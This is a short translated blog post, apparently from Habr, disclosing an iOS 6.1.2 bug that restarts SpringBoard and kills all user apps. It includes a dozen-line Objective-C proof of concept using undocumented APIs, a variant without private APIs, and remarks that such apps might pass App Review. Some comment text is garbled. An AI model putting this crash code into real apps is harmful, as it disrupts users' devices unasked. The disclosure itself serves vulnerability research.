📜 ⬆️ ⬇️

The program of a dozen lines collapses Springboard

Yesterday I stumbled upon such an iOS vulnerability. Tested on iPhone 4, 4S and 5 with iOS 6.1.2.

To reproduce the bug that causes the SpringBoard to restart (which in turn leads to the termination of all applications launched by the user), you only need to do two things:
  1. Hide all windows (i.e., UIWindow objects) in the application.
  2. Quit application


Here is an example of the simplest program that causes the SpringBoard to restart. Items 1 and 2 are implemented through undocumented calls.

 //       ,    warning' //    ,  Xcode   @interface UIWindow (Undocumented) + (NSArray*) allWindowsIncludingInternalWindows: (BOOL)internalWindows onlyVisibleWindows:(BOOL)visibleWindows; @end @interface UIApplication (Undocumented) - (void) suspend; @end //     void RESPRING() { NSArray *allWindows = [UIWindow allWindowsIncludingInternalWindows:YES onlyVisibleWindows:NO]; for (UIWindow *window in allWindows) { window.hidden = YES; } [[UIApplication sharedApplication] performSelector:@selector(suspend) withObject:nil afterDelay:0]; } 

')
Moreover, I managed to reproduce this bug without using undocumented calls.

Pay attention to the features:


This means that it is highly likely that applications causing SpringBoard to restart (including crashing all other applications) can pass App Review and get into the AppStore without any problems.

UPD The same without private API:

 @interface UIView (Extension) - (void) touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event; @end @implementation UIView (Extension) - (void) touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event { self.window.hidden = YES; } @end 

1. Tap on status bar
2. Tap on the main window
3. Click home

UPD2 Fixed the title of the article, since, strictly speaking, only Springboard falls, but not all of iOS.

Source: https://habr.com/ru/post/171825/


All Articles